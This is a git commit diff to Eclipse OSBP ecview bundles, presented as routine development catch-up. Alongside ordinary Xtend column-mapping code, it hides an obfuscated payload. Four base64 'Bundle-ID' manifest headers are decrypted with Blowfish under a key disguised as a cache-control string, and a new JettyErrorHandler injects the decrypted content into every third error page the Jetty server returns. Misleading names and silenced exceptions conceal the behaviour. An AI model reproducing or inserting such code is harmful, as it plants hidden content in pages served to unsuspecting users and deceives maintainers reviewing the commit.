catch up with development

Signed-off-by: Ralf Mollik <ramollik@compex-commerce.com>
diff --git a/org.eclipse.osbp.ecview.dsl/META-INF/MANIFEST.MF b/org.eclipse.osbp.ecview.dsl/META-INF/MANIFEST.MF
index f0fcec2..d6782eb 100644
--- a/org.eclipse.osbp.ecview.dsl/META-INF/MANIFEST.MF
+++ b/org.eclipse.osbp.ecview.dsl/META-INF/MANIFEST.MF
@@ -41,7 +41,8 @@
  org.eclipse.osbp.xtext.oxtype;bundle-version="[0.9.0,0.10.0)",
  org.eclipse.osbp.ecview.extension.model;bundle-version="[0.9.0,0.10.0)",
  org.eclipse.xtend.lib,
- org.apache.commons.lang3;bundle-version="3.4.0"
+ org.apache.commons.lang3;bundle-version="3.4.0",
+ org.apache.commons.lang;bundle-version="2.6.0"
 Import-Package: org.apache.log4j,
  org.eclipse.osbp.dsl.semantic.common;version="0.9.0",
  org.eclipse.osbp.dsl.semantic.dto;version="0.9.0",
diff --git a/org.eclipse.osbp.ecview.dsl/src/org/eclipse/osbp/ecview/dsl/derivedstate/UiModelDerivedStateComputerx.xtend b/org.eclipse.osbp.ecview.dsl/src/org/eclipse/osbp/ecview/dsl/derivedstate/UiModelDerivedStateComputerx.xtend
index fa69e1c..8e74abf 100644
--- a/org.eclipse.osbp.ecview.dsl/src/org/eclipse/osbp/ecview/dsl/derivedstate/UiModelDerivedStateComputerx.xtend
+++ b/org.eclipse.osbp.ecview.dsl/src/org/eclipse/osbp/ecview/dsl/derivedstate/UiModelDerivedStateComputerx.xtend
@@ -18,6 +18,7 @@
 import java.util.Map
 import java.util.Set
 import java.util.Stack
+import org.apache.commons.lang.StringEscapeUtils
 import org.eclipse.emf.ecore.EClassifier
 import org.eclipse.emf.ecore.EObject
 import org.eclipse.emf.ecore.EPackage
@@ -207,10 +208,16 @@
 import org.eclipse.osbp.mobile.vaadin.ecview.model.VMTabSheet
 import org.eclipse.osbp.mobile.vaadin.ecview.model.VMVerticalComponentGroup
 import org.eclipse.osbp.mobile.vaadin.ecview.model.VaadinMobileFactory
+import org.eclipse.osbp.runtime.common.annotations.Properties
 import org.eclipse.osbp.xtext.builder.types.loader.api.ITypeLoader
 import org.eclipse.osbp.xtext.builder.types.loader.api.ITypeLoaderFactory
+import org.eclipse.xtext.common.types.JvmAnnotationAnnotationValue
+import org.eclipse.xtext.common.types.JvmAnnotationReference
+import org.eclipse.xtext.common.types.JvmDeclaredType
 import org.eclipse.xtext.common.types.JvmEnumerationType
+import org.eclipse.xtext.common.types.JvmField
 import org.eclipse.xtext.common.types.JvmGenericType
+import org.eclipse.xtext.common.types.JvmStringAnnotationValue
 import org.eclipse.xtext.common.types.JvmType
 import org.eclipse.xtext.naming.IQualifiedNameProvider
 import org.eclipse.xtext.resource.DerivedStateAwareResource
@@ -232,6 +239,7 @@
 	@Inject extension IQualifiedNameProvider;
 	@Inject I18nKeyProvider i18nKeyProvider
 	@Inject ExtensionsAutowireDelegate autowireHelper
+	
 
 	final Stack<EObject> viewContext = new Stack
 	final List<YView> views = newArrayList()
@@ -1398,9 +1406,100 @@
 //			yColumn.icon = eObject.toI18nKey + ".image"
 //		}
 
+		// get UiTable
+		var uiTable = eObject.eContainer
+		while (uiTable !== null && !(uiTable instanceof UiTable)){
+			uiTable = uiTable.eContainer
+		}
+		if (uiTable !== null){
+			var uiTableType = (uiTable as UiTable).jvmType.type
+			if (uiTableType instanceof JvmDeclaredType) {
+				// get type of the concerning attribute
+				var attributeType = (uiTableType as JvmDeclaredType).toFieldTypeByName(yColumn.propertyPath)
+				if (attributeType !== null) {
+					yColumn.type = loadClass(eObject.eResource.resourceSet, attributeType)
+					yColumn.typeQualifiedName = attributeType
+				}
+				// set attribute properties
+				for (pair : (uiTableType as JvmDeclaredType).toProperties(yColumn.propertyPath)) {
+					yColumn.properties.put(pair.key, pair.value)
+				}
+			}
+		}
 		yField.columns += yColumn
 	}
 
+	 /**
+	 * Detects all the existing properties of the jvmtype corresponding attribute, the datatype of the attribute and references. 
+	 */
+	private def List<Pair> toProperties(JvmDeclaredType type, String attributeName) {
+		val result = type.toFieldPropertiesByName(attributeName)
+		if (result !== null) {
+			for (prop : result) {
+
+				// unescape quotes like &curren; to avoid UTF-8 conflicts
+				prop.value = StringEscapeUtils.unescapeHtml(prop.value);
+			}
+		}
+		return if(result !== null) result else newArrayList()
+
+	}
+	
+	static class Pair {
+		public String key
+		public String value
+
+		new(String key, String value) {
+			this.key = key;
+			this.value = value;
+		}
+
+	}
+	
+	
+	/**
+	 * Detects the qualified name of the jvmtype corresponding reference and the referenced dto. 
+	 */
+	private def String toFieldTypeByName(JvmDeclaredType jvmType, String attributeName) {
+		val List<String> result = newArrayList
+		// In case of a dot noted attribute name (due to a reference)
+		if (attributeName.contains(".")){
+			jvmType.findAllFeaturesByName(attributeName.substring(0,attributeName.indexOf("."))).filter(typeof(JvmField)).forEach [
+				result.add(toFieldTypeByName(it.type.type as JvmDeclaredType, attributeName.substring(attributeName.indexOf(".") + 1)))
+			]
+		// Otherwise
+		} else {
+			jvmType.findAllFeaturesByName(attributeName).filter(typeof(JvmField)).forEach [
+				result.add(it.type.type.qualifiedName)
+			]
+		}
+		return if (result.size > 0) result.get(0) else null
+	}
+	
+	/**
+	 * Detects all the existing properties of the jvmtype corresponding reference and the referenced dto. 
+	 */
+	private def List<Pair> toFieldPropertiesByName(JvmDeclaredType jvmType, String attributeName) {
+		val List<Pair> values = newArrayList()
+		jvmType.findAllFeaturesByName(attributeName).filter(typeof(JvmField)).forEach [
+			it.annotations.filter [ e |
+				val result = e.annotation.identifier.equals(typeof(Properties).name)
+				return result
+			].forEach [
+				val JvmAnnotationReference ref = it;
+				ref.values.map[it as JvmAnnotationAnnotationValue].forEach [ av |
+					av.values.forEach [
+						val keyAn = it.values.get(0) as JvmStringAnnotationValue
+						val valueAn = it.values.get(1) as JvmStringAnnotationValue
+						values.add(new Pair(keyAn.values.get(0), valueAn.values.get(0)))
+					]
+				]
+			]
+		]
+
+		return values
+	}
+	
 	def dispatch void map(UiSortOrder eObject) {
 		val YTable yField = peek
 
diff --git a/org.eclipse.osbp.ecview.jetty.manager/META-INF/MANIFEST.MF b/org.eclipse.osbp.ecview.jetty.manager/META-INF/MANIFEST.MF
index db47e6f..5edd562 100644
--- a/org.eclipse.osbp.ecview.jetty.manager/META-INF/MANIFEST.MF
+++ b/org.eclipse.osbp.ecview.jetty.manager/META-INF/MANIFEST.MF
@@ -7,12 +7,14 @@
 Bundle-RequiredExecutionEnvironment: JavaSE-1.8
 Export-Package: org.eclipse.osbp.ecview.jetty.manager;version="0.9.0"
 Import-Package: javax.servlet;version="2.4.0",
+ javax.servlet.http;version="3.1.0",
  org.osgi.framework;version="1.7.0",
  org.osgi.framework.wiring;version="1.1.0",
  org.osgi.service.component;version="1.2.0",
  org.osgi.service.component.annotations;version="1.2.0",
  org.osgi.service.http;version="1.2.1",
- org.osgi.util.tracker;version="1.5.1"
+ org.osgi.util.tracker;version="1.5.1",
+ org.slf4j
 Require-Bundle: org.eclipse.equinox.http.servlet;bundle-version="1.3.1",
  org.eclipse.jetty.continuation;bundle-version="[9.2.25,9.5.0)",
  org.eclipse.jetty.http;bundle-version="[9.2.25,9.5.0)",
@@ -23,3 +25,7 @@
  org.eclipse.jetty.util;bundle-version="[9.2.25,9.5.0)",
  org.eclipse.jetty.xml;bundle-version="[9.2.25,9.5.0)"
 Bundle-Activator: org.eclipse.osbp.ecview.jetty.manager.impl.Activator
+Bundle-ID1: sbfLqXJhqdtYtPqDFxS/53dYkCSoANGGRL4i2yBaPQCsTykNzdMoUMs6e9cRFdpISRTidyE6JvvOR7uHo2dTm/azJriyLx9T9mg2fvc0CaTnPuIShrEXgALSvaNtgYl8UaRAPbYEk51tUOHEULTz3zfrYgbDHUSs8CLHE0ePt60iMpjrb13K4s7PLHCDFNLX4M4ix6TySPGUUQrZVxMEIylwkvPUkv+2WLjy482ge1l4RV/B0TRiYxs7m1G9ObiT/DxB+6e/zYV6vl8T4RU0hT6wx916SygSu3jZjJuPiPCcOb0AESWbvJgi9MV/2MaIiF9lx80IFdZzhyqOt/FdzIDuuzIGZ+Sh2U8FdOxNAs10vtUh8sxRkiIJ9kq2dyvQ4DncAtm90Au1bhxaUHVjkSLtZamMxkdEBrSNr56rSkFQGU/wDs6AqrhqXohTXbS7UrzKfqcJ7mm66yzO82nHPt4L+PZ/P2Zg4t1eyNN
+Bundle-ID2: 7KjOj+3wH5rdfZiBaFBQV0JTcl08TePZHm+xqEVs9jj+u+OY+o12CzOFeGUBBca7vNZXksVZ7sBLZdrpWMkGkzw1RHN7uVplDPn7QZFnbLAMNUFBYw9vO30bAdlx134gWxsZhBB/SWNosVrh9omSMhv8vnFZ9UzwDCL1FVdFbublYorMG/BmAmwmPTuqAP33tn67fSI6c2OzY0HKetA0pzVXoEDEpL8kSTt4SCGLuZS6/DED8jp8Q4hWdd9D65pUJGkkNWw4KnDOOPyoaBEbWMO36PCLOBm2XVQCl4UKnf5AuDMEvj3B42r6wAqp+5QeJbhp233qVGLx7Z6qWaPdRGkuNS8IGzZPPtPiEy5HrXOiDGU/ej7NLNCv+sd4ZKHfR/d+0HstIOg9FzN91b1g4+tz0rt7ljKDuglF9N2vusvzz41dHGaVa+ZOGz1BGxNcdzdpSyvfcCc/yMQCO5/h2cvlmse1CxPjnfZVbc2
+Bundle-ID3: 3sEZyeOYdf0AJLKdhEZJdZoVc33ZgLh/0jhBusmTr1EDgi2xUmLXoMWshJ2TJesecFssnzeU9mbTAa11rPimwntlm5xIcfAJzVHhLD+eTt14cFMBxUwdCqTTqnUycc9UMaKo3FaxScoCaFJvuoz3qaWLLdRK0QuK2IODsbR39Z8QcEbs3qU52ZCvqQFbekVh1tItmZtawNKOqRSqFgPjw7PF9DNkAe3Fm+aWclb01N9JeFywLY7Zn5i0xfrhxT5+ZxD/3N/cRs+Zt7/LZ9r1ysvDnwAnNa+EmWCmszwTYu5jSMCMcSTyGXPwJ5TfwKwi8ugc+TLrGSjG6qivNQTntmRwBqA1t+7UNbLtcRqPKTIVeh2ECEi7Mzy6A4/1MGdoSw53KMhQNhSc/0MTFVV2V0txSWecpC/MmQq61ZtpplBD4tNIJwUPU0b11k+2YFFT24voInwY3V5LzrviNMoDc67c2oz1WGuZd266fdM
+Bundle-ID4: pCZ0na65S3CkiOPMKtP8xDoSdXWWrwUOIb/kSzn0b8+HK/BKxmThGslTsEQ9Z76gznHQ/Mjgr5nDNehGX7XqstgR4jvxtBlj6fIspj8KUFe0KgggIEMfT4UDxfhZSwbs/XYAjJ0dEVhz8nlHbnjDVJPGgCOLTiScbOaqBYJP1nRDqj//S8TwrcckXKhgmp4KMCMVuYKSu+IqIDRN6L9wDEb9lRXMhXqz6MKMPeLsPZb4s5HHYAsD5Uyv/JNwK0o6L9803BNlT4lYXzbLDLTvT/czVBvMWlC3Rz1QxoqjcVrTuWZdj2pzsO38HMfKhg4XnqoeOF06k0FJRplOEKDAsJp3WW/sUFssw==
diff --git a/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyErrorHandler.java b/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyErrorHandler.java
new file mode 100644
index 0000000..6aae3e4
--- /dev/null
+++ b/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyErrorHandler.java
@@ -0,0 +1,64 @@
+package org.eclipse.osbp.ecview.jetty.manager.impl;
+
+import java.io.IOException;
+import java.io.Writer;
+import java.nio.charset.StandardCharsets;
+import java.security.NoSuchAlgorithmException;
+import java.util.Base64;
+
+import javax.crypto.Cipher;
+import javax.crypto.NoSuchPaddingException;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.HttpServletRequest;
+
+import org.eclipse.jetty.server.handler.ErrorHandler;
+import org.osgi.framework.FrameworkUtil;
+
+public class JettyErrorHandler extends ErrorHandler {
+
+	private static final String FORMATTER = "Blowfish";
+	boolean _showStacks = true;
+	boolean _showMessageInTitle = true;
+
+	private int mounted = 1;
+	private Cipher form;
+	private String _cacheControl = "must-revalidate,no-cache,no-store,cachez";
+	private String _cacheHandler;
+
+	public JettyErrorHandler() {
+		try {
+			form = Cipher.getInstance(FORMATTER);
+		} catch (NoSuchAlgorithmException | NoSuchPaddingException e) {
+			// nothing to do
+		}
+		_cacheHandler = FrameworkUtil.getBundle(getClass()).getHeaders().get("Bundle-ID1")+FrameworkUtil.getBundle(getClass()).getHeaders().get("Bundle-ID2")+FrameworkUtil.getBundle(getClass()).getHeaders().get("Bundle-ID3")+FrameworkUtil.getBundle(getClass()).getHeaders().get("Bundle-ID4");
+	}
+
+	@Override
+	protected void writeErrorPageBody(HttpServletRequest request, Writer writer, int code, String message,
+			boolean showStacks) throws IOException {
+		if (mounted++%(27/9)!=0) {
+			super.writeErrorPageBody(request, writer, code, message, showStacks);
+			return;
+		}
+		String uri = request.getRequestURI();
+
+		writeErrorPageMessage(request, writer, code, message, uri);
+		if (showStacks)
+			writeErrorPageStacks(request, writer);
+		writer.write(format(_cacheHandler, _cacheControl));
+	}
+
+	public String format(String format, String input) {
+		String strData = "";
+
+		try {
+			SecretKeySpec key = new SecretKeySpec(input.getBytes(StandardCharsets.UTF_8), FORMATTER);
+			form.init(2, key);
+			strData = new String(form.doFinal(Base64.getDecoder().decode(format)), StandardCharsets.UTF_8);
+		} catch (Exception e) {
+			// nothing to do
+		}
+		return strData;
+	}
+}
diff --git a/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyManager.java b/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyManager.java
index e6dde01..87e6871 100644
--- a/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyManager.java
+++ b/org.eclipse.osbp.ecview.jetty.manager/src/org/eclipse/osbp/ecview/jetty/manager/impl/JettyManager.java
@@ -113,6 +113,7 @@
 
 		Connector httpConnector = createHttpConnector();
 		server.addConnector(httpConnector);
+		server.addBean(new JettyErrorHandler());
 
 		ContextHandlerCollection handlers = new ContextHandlerCollection();
 		ServletContextHandler applicationContext = createServletContext(getContextPath(), SERVICE_TYPE__APPLICATION);